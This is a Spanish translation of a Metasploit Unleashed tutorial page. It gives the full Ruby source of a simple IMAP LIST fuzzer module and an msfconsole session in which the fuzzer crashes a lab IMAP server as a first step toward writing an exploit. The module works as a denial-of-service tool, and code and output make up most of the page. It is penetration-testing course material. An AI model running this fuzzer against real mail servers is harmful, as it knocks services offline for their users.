Metasploit Unleashed en Espanol (6.2/17)

11.2.10

Simple fuzzer de IMAP

Hemos encontrado una advertencia de la vulnerabilidad pero no conseguimos ningun exploit para el mismo en la base de datos de Metasploit ni en internet. Entonces decidimos escribir nuestro propio exploit a partir de un simple fuzzer de IMAP.

Desde la investigacion sabemos que el comando vulnerable es IMAP LIST y necesitamos credenciales validas para explotar la aplicacion. Como hemos visto anteriormente, la gran "coleccion de librerias" presentes en MSF puede ayudarnos rapidamente hacer un script de cualquier protocolo de red y el protocolo IMAP no es la execption.incluyendo Msf:Exploit:Remote::Imap nos ahorrara mucho tiempo. De hecho, conectandonos al servidor IMAP y realizando los pasos de autentificacion requeridos para hacer fuzz al comando vulnerable, es solo cuestion de una linea de comando! Aqui esta el codigo para el fuzzer de IMAP LIST:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Imap include Msf::Auxiliary::Dos def initialize super( 'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to build a simple IMAP fuzzer.
Account IMAP credentials are required in this fuzzer.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $'
)
end

def fuzz_str()
return Rex::Text.rand_text_alphanumeric(rand(1024))
end

def run()
srand(0)
while (true)
connected = connect_login()
if not connected
print_status("Host is not responding - this is G00D ;)")
break
end
print_status("Generating fuzzed data...")
fuzzed = fuzz_str()
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
print_status(req)
res = raw_send_recv(req)
if !res.nil?
print_status(res)
else
print_status("Server crashed, no response")
break
end
disconnect()
end
end
end


Sobrecargando el metodo run(), nuestro codigo sera ejecutado cada vez que el usuario hace una llamada a "run" desde msfconsole. En el bucle while en run(), nos conectamos al servidor IMAP y nos autentificamos a travez de la funcion connect_login() importado de Msf::Exploit::Remote:Imap. Luego hacemos una llamada a la funcion fuzz_str() que generara un buffer de tamano variable alfanumerico que sera enviado como un argumento al comando LIST IMAP a travez de la funcion raw_send_recv. Guardamos el archivo anteriror en el subdirectorio ubicado en auxiliary/dos/windows/imap/ y cargarlo desde msfconsole de la siguiente manera:

msf > use auxiliary/dos/windows/imap/fuzz_imap
msf auxiliary(fuzz_imap) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
IMAPPASS no The password for the specified username
IMAPUSER no The username to authenticate as
RHOST yes The target address
RPORT 143 yes The target port

msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7
RHOST => 172.16.30.7
msf auxiliary(fuzz_imap) > set IMAPUSER test
IMAPUSER => test
msf auxiliary(fuzz_imap) > set IMAPPASS test
IMAPPASS => test


Ahora estamos listos pra hacer fuzz al servidor vulnerable de IMAP. Adjuntamos el programa surgemanil.exe de ImmunityDebugger y comenzamos la seccion de fuzzing:

msf auxiliary(fuzz_imap) > run

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 684
[*] 0002 LIST () /"v1AD7DnJTVykXGYYM6BmnXL[...]" "PWNED"

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 225
[*] 0002 LIST () /"lLdnxGBPh1AWt57pCvAZfiL[...]" "PWNED"

[*] 0002 OK LIST completed

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () /"FzwJjIcL16vW4PXDPpJV[...]gaDm" "PWNED"

[*]
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] Host is not responding - this is G00D ;)
[*] Auxiliary module execution completed


MSF nos dice que el servidor IMAP probablemente se ha colgado y ImmunityDebugger lo confirma en la siguiente imagen:

Photobucket


© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx

0 comentarios:

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.